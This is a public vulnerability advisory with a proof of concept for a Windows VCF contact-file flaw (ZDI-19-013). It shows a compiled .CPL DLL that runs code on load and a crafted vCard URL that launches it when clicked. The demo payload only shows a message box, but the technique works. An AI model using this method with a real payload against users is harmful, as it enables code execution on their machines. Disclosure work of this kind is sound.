Microsoft Windows VCF Remote Code Execution Exploit

[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-FILE-INSUFFICIENT-WARNING-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec   
[+] Zero Day Initiative Program



[Vendor]
www.microsoft.com


[Product]
A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features. These are a powerful new approach to electronic Personal Data Interchange (PDI).



[Vulnerability Type]
Insufficient UI Warning Remote Code Execution



[CVE Reference]
ZDI-19-013
ZDI-CAN-6920


[Security Issue]
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the processing of VCard files. Crafted data in a VCard file can cause Windows to display a dangerous hyperlink.
The user interface fails to provide any indication of the hazard.

An attacker can leverage this vulnerability to execute code in the context of the current user.


[Exploit/POC]
1) create a directory and name it "http" this will house the .CPL executable file.


2) create a .CPL file and give it a website name, I named mine "www.hyp3rlinx.altervista.cpl" 
or whatever website you wish so it can be referenced in the VCF file.

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 hyp3rlinx.altervista.c
gcc -shared -m32 -o hyp3rlinx.altervista.cpl hyp3rlinx.altervista.o
*/

void ms_vcf_0day(){
   MessageBox( 0, "Continue with install?" , "TrickyDealC0der :)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
  switch(fdwReason){
    case DLL_PROCESS_ATTACH:{
       ms_vcf_0day();
      break;
    }
    case DLL_PROCESS_DETACH:{
       ms_vcf_0day();
      break;
    }
    case DLL_THREAD_ATTACH:{
       ms_vcf_0day();
      break;
    }
    case DLL_THREAD_DETACH:{
       ms_vcf_0day();
      break;
    }
  }
  
  return TRUE;
}



3) make sure to rename the executable .DLL extension to a .CPL extension if you did not follow compile instructions above to output as ".CPL".
e.g. hyp3rlinx.altervista.dll --> hyp3rlinx.altervista.cpl



4) Create .VCF mail file I named mine "trickyDealC0der.vcf"

For the URL in the .VCF Mail file specify a URL like...
URL;TYPE=home;PREF=1:http.\\www.hyp3rlinx.altervista.cpl

The Windows .VCF File content:

"trickyDealC0der.vcf"

BEGIN:VCARD
VERSION:4.0
N:Tricky;DealC0der;;;
FN:TrickyDealC0der
EMAIL;TYPE=home;PREF=1:[email protected]gain.com
TEL;TYPE="cell,home";PREF=1:tel:+000-000-0000
ADR;TYPE=home;PREF=1:;;1 NYC;NY;;WC2N;USA
URL;TYPE=home;PREF=1:http.\\www.hyp3rlinx.altervista.cpl
END:VCARD



Now, open the "trickyDealC0der.vcf" file and click the website link, the VCF file will traverse back one to the "http" directory where
our CPL executable file lives and KABOOM! :)



[References]
https://www.zerodayinitiative.com/advisories/ZDI-19-013/



[Network Access]
Remote



[POC Video URL]
https://vimeo.com/310684003